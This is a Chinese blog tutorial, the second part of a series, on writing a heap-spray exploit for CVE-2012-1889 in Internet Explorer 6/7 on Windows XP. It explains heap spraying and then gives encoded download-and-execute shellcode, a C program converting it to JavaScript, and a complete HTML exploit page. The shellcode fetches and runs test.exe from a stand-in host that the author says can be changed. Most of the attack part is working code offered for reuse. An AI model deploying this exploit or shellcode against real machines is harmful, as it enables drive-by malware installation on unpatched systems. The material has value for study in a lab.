首页 > 缓冲区溢出 > 实战HeapSpray之CVE2012-1889 Exploit编写(二)

实战HeapSpray之CVE2012-1889 Exploit编写(二)

接上一篇文章《实战HeapSpray之CVE2012-1889 Exploit编写(一)》,本文讲介绍HeapSpray技术以及XP下IE6 / IE7 Exploit开发过程。

HeapSpray技术介绍
HeapSpray即堆喷射,本身并不是一门新的利用技术,最早的文档是由Skylined在很久之前记录的。通过Wikipedia可以知道最早使用HeapSpray技术是在2001年(MS01-033)。2004年,Skylined在IE的IFrame漏洞(MS04-040)利用程序中使用到这种技术。直至今日,许多年过去了,它依然被网马广泛地运用在许多浏览器利用代码中。虽然有许多可行的方法可以检测和防御堆喷射,但它目前依然是可用的,其传输机制可能一直在变,但其基本思路依然保持一致。

在使用HeapSpray的时候,一般会将EIP指向堆区的0x0C0C0C0C位置,然后利用JavaScript申请大量堆内存,并用包含着0×90和ShellCode的“内存片”覆盖这些内存。通常,JavaScript会从内存的低地址向高地址分配内存,因此申请的内存超过200MB(200MB = 200*1024*1024 = 0x0C800000 > 0x0C0C0C0C)后,0x0C0C0C0C将被含有ShellCode的内存片覆盖。只要内存片中的0×90能够命中0x0C0C0C0C的位置,ShellCode就能最终得到执行。这个过程如图所示:
HeapSpray技术示意图
可以使用类似下面这样的JavaScript代码产生的内存片来覆盖内存:

1
2
3
4
5
6
7
8
9
var nop = "\u9090\u9090";
while (nop.length < 0x100000/2){
    nop += nop;
}
nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2);
var slide = new Array();
for (var i = 0; i < 200; i++){
    slide[i] = nop + shellcode;
}

上面的代码分配200个1M大小的内存块,每个内存块由0×90和ShellCode填充,其中内存块的前面由0×90填充,ShellCode位于末尾部分。
需要注意的一点是,在JavaScript中以转义形式存储的字符串以Unicode形式存储,length属性返回字符串的Unicode字符个数,所以进行了除以2的操作;此外,JavaScript中每一个内存都存在一些额外的管理信息,所以在填充内存块时需要减去这些信息的长度,具体的信息如图所示:
JavaScript动态分配内存结构
在实际操作时,只需要任意一个1M大小的内存块的任意一个NOP覆盖到0x0C0C0C0C上面,我们的ShellCode就会最终被执行。采用1M大小作为内存块的单位,可以使得NOP覆盖0x0C0C0C0C的几率大大增加;而如果采用较小的尺寸,0x0C0C0C0C有可能被ShellCode所覆盖,那是溢出极有可能会失败。

IE6/7 下HeapSpray实战
在弄清楚HeapSpray的原理之后,结合该漏洞的利用技巧,我们可以自己构造一个漏洞利用程序。不过,考虑这个漏洞的具体情形,我们不应该在堆内存块中填充大量的0×90,因为真正的EIP的转移在于call dword ptr [ecx+18h]处,如果ecx的值是0×90909090,那么程序会跳转到一个内核地址(0×90909090 + 0×18 = 0x909090A8)上面去执行代码,应用层程序不可以直接访问内核空间的内存,这样无疑会触发异常退出程序。一个好的解决办法是直接用0x0C来填充内存块,这样0x0C0C0C0C + 0×18 = 0x0C0C0C24处执行,而机器码0C0C对应的x86汇编指令是or al, 0c,这样这些指令仅仅会影响到al寄存器的值,对执行我们的ShellCode没有任何影响。

在编写利用程序之前,我们还需要讲ShellCode转换为JavaScript支持的形式。我们获取一段“下载并执行”(Download_Exec)的ShellCode之后,一般是C语言的形式,下面讲其转换为JavaScript字符串形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <stdio.h>
#include <stdlib.h>
 
unsigned char buf[] = {
	"\xeb\x10\x5a\x4a\x33\xc9\x66\xb9\x3c\x01\x80\x34\x0a\x99\xe2"
	"\xfa\xeb\x05\xe8\xeb\xff\xff\xff\x70\x4c\x99\x99\x99\xc3\xfd"
	"\x38\xa9\x99\x99\x99\x12\xd9\x95\x12\xe9\x85\x34\x12\xd9\x91"
	"\x12\x41\x12\xea\xa5\x12\xed\x87\xe1\x9a\x6a\x12\xe7\xb9\x9a"
	"\x62\x12\xd7\x8d\xaa\x74\xcf\xce\xc8\x12\xa6\x9a\x62\x12\x6b"
	"\xf3\x97\xc0\x6a\x3f\xed\x91\xc0\xc6\x1a\x5e\x9d\xdc\x7b\x70"
	"\xc0\xc6\xc7\x12\x54\x12\xdf\xbd\x9a\x5a\x48\x78\x9a\x58\xaa"
	"\x50\xff\x12\x91\x12\xdf\x85\x9a\x5a\x58\x78\x9b\x9a\x58\x12"
	"\x99\x9a\x5a\x12\x63\x12\x6e\x1a\x5f\x97\x12\x49\xf3\x9d\xc0"
	"\x71\xc9\x99\x99\x99\x1a\x5f\x94\xcb\xcf\x66\xce\x65\xc3\x12"
	"\x41\xf3\x98\xc0\x71\xa4\x99\x99\x99\x1a\x5f\x8a\xcf\xdf\x19"
	"\xa7\x19\xec\x63\x19\xaf\x19\xc7\x1a\x75\xb9\x12\x45\xf3\xb9"
	"\xca\x66\xce\x75\x5e\x9d\x9a\xc5\xf8\xb7\xfc\x5e\xdd\x9a\x9d"
	"\xe1\xfc\x99\x99\xaa\x59\xc9\xc9\xca\xcf\xc9\x66\xce\x65\x12"
	"\x45\xc9\xca\x66\xce\x69\xc9\x66\xce\x6d\xaa\x59\x35\x1c\x59"
	"\xec\x60\xc8\xcb\xcf\xca\x66\x4b\xc3\xc0\x32\x7b\x77\xaa\x59"
	"\x5a\x71\xbf\x66\x66\x66\xde\xfc\xed\xc9\xeb\xf6\xfa\xd8\xfd"
	"\xfd\xeb\xfc\xea\xea\x99\xde\xfc\xed\xca\xe0\xea\xed\xfc\xf4"
	"\xdd\xf0\xeb\xfc\xfa\xed\xf6\xeb\xe0\xd8\x99\xce\xf0\xf7\xdc"
	"\xe1\xfc\xfa\x99\xdc\xe1\xf0\xed\xcd\xf1\xeb\xfc\xf8\xfd\x99"
	"\xd5\xf6\xf8\xfd\xd5\xf0\xfb\xeb\xf8\xeb\xe0\xd8\x99\xec\xeb"
	"\xf5\xf4\xf6\xf7\x99\xcc\xcb\xd5\xdd\xf6\xee\xf7\xf5\xf6\xf8"
	"\xfd\xcd\xf6\xdf\xf0\xf5\xfc\xd8\x99\x68\x74\x74\x70\x3A\x2F"  // URL开始于0x68
	"\x2F\x74\x65\x73\x74\x2E\x63\x6F\x6D\x2F\x74\x65\x73\x74\x2E"  // URL为http://test.com/test.exe 可自行更改
	"\x65\x78\x65\x80"};                                            // URL结束于0x65
 
int main(int argc, char **argv)
{
	int i = 0;
	int n = sizeof(buf)-1;
	if (n & 1) n--;
	FILE *fp = fopen("js.txt", "w");
	for (i = 0; i < n; i += 2)
	{
		fprintf(fp, "\\u%02X%02X", buf[i+1], buf[i]);
	}
	n = sizeof(buf)-1;
	if (n & 1)
	{
		fprintf(fp, "\\u%02X%02X", 0, buf[i]);
	}
	fclose(fp);
 
	return 0;
}

这段ShellCode中绑定的URL为http://test.com/test.exe(末尾蓝色部分的代码),我们可以自己配置。
现在可以编写一个小程序将其转换为JavaScript支持的Unicode形式,结合PoC代码,IE6/IE7漏洞利用程序的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<html>
<head>
    <title>CVE 2012-1889 PoC</title>
</head>
<body>
    <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>
    <script>
		var shellcode = "\u10EB\u4A5A\uC933\uB966\u013C\u3480\u990A\uFAE2\u05EB\uEBE8\uFFFF\u70FF\u994C\u9999\uFDC3\uA938\u9999\u1299\u95D9\uE912\u3485\uD912\u1291\u1241\uA5EA\uED12\uE187\u6A9A\uE712\u9AB9\u1262\u8DD7\u74AA\uCECF\u12C8\u9AA6\u1262\uF36B\uC097\u3F6A\u91ED\uC6C0\u5E1A\uDC9D\u707B\uC6C0\u12C7\u1254\uBDDF\u5A9A\u7848\u589A\u50AA\u12FF\u1291\u85DF\u5A9A\u7858\u9A9B\u1258\u9A99\u125A\u1263\u1A6E\u975F\u4912\u9DF3\u71C0\u99C9\u9999\u5F1A\uCB94\u66CF\u65CE\u12C3\uF341\uC098\uA471\u9999\u1A99\u8A5F\uDFCF\uA719\uEC19\u1963\u19AF\u1AC7\uB975\u4512\uB9F3\u66CA\u75CE\u9D5E\uC59A\uB7F8\u5EFC\u9ADD\uE19D\u99FC\uAA99\uC959\uCAC9\uC9CF\uCE66\u1265\uC945\u66CA\u69CE\u66C9\u6DCE\u59AA\u1C35\uEC59\uC860\uCFCB\u66CA\uC34B\u32C0\u777B\u59AA\u715A\u66BF\u6666\uFCDE\uC9ED\uF6EB\uD8FA\uFDFD\uFCEB\uEAEA\uDE99\uEDFC\uE0CA\uEDEA\uF4FC\uF0DD\uFCEB\uEDFA\uEBF6\uD8E0\uCE99\uF7F0\uE1DC\uFAFC\uDC99\uF0E1\uCDED\uEBF1\uF8FC\u99FD\uF6D5\uFDF8\uF0D5\uEBFB\uEBF8\uD8E0\uEC99\uF5EB\uF6F4\u99F7\uCBCC\uDDD5\uEEF6\uF5F7\uF8F6\uCDFD\uDFF6\uF5F0\uD8FC\u6899\u7474\u3A70\u2F2F\u6574\u7473\u632E\u6D6F\u742F\u7365\u2E74\u7865\u8065";
		var fill = "\u0c0c\u0c0c";
		while (fill.length <= 0x100000 / 2){
			fill += fill;
		}
		fill = fill.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2);
		var slide = new Array();
		for (var i = 0; i < 200; i++){
			slide[i] = fill + shellcode;
		}
		var obj = document.getElementById('poc').object;
		var src = unescape("%u0c0c%u0c0c");
		while (src.length < 0x1002) src += src;
		src = "\\\\xxx" + src;
		src = src.substr(0, 0x1000 - 10);
		var pic = document.createElement("img");
		pic.src = src;
		pic.nameProp;
		obj.definition(0);
    </script>
</body>
</html>

现在在真实主机上运行HTTP服务,虚拟机为测试机器。其中真实主机的IP地址为192.168.137.1,虚拟机的IP地址为192.168.137.2,给虚拟机添加一条hosts记录:

192.168.137.1	test.com

这样可以让虚拟机访问test.com时重定向到真实主机的HTTP服务。在虚拟机中的IE6下打开漏洞利用页面,成功下载并执行test.exe,截图就省略了。在Windows XP + IE7环境下,该页面仍然可以成功攻击有漏洞的机器,因为XP下IE6和IE7都没有特殊的保护机制。然后在Windows XP + IE8的环境下,无法成功攻击漏洞机器,不仅仅堆喷射代码需要改动,而且IE8新增了DEP保护机制。具体请期待第三篇《实战HeapSpray之CVE2012-1889 Exploit编写(三)


觉得文章还不错?点击此处对作者进行打赏!


本文地址: 程序人生 >> 实战HeapSpray之CVE2012-1889 Exploit编写(二)
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!


更多



  1. 2012年12月27日21:49 | #1

    科神现在玩的越来越细致了 :)
    交换个友情链接吧 http://www.cnblogs.com/kedebug

    [回复]

    代码疯子 回复:

    @kedebug, 加了……这个是上课的实验………博客相当霸气

    [回复]

  1. 本文目前尚无任何 trackbacks 和 pingbacks.